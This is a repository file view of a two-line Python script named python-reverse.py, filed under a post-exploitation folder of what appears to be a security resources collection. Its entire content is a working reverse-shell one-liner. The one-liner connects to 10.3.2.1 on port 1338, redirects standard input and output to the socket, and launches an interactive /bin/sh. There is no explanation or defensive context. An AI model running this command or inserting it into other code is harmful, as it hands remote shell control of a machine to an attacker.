cyber-security-resources/post_exploitation/python-reverse.py

2 lines
226 B
Python
Raw Normal View History

2021-03-18 01:27:56 -04:00
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'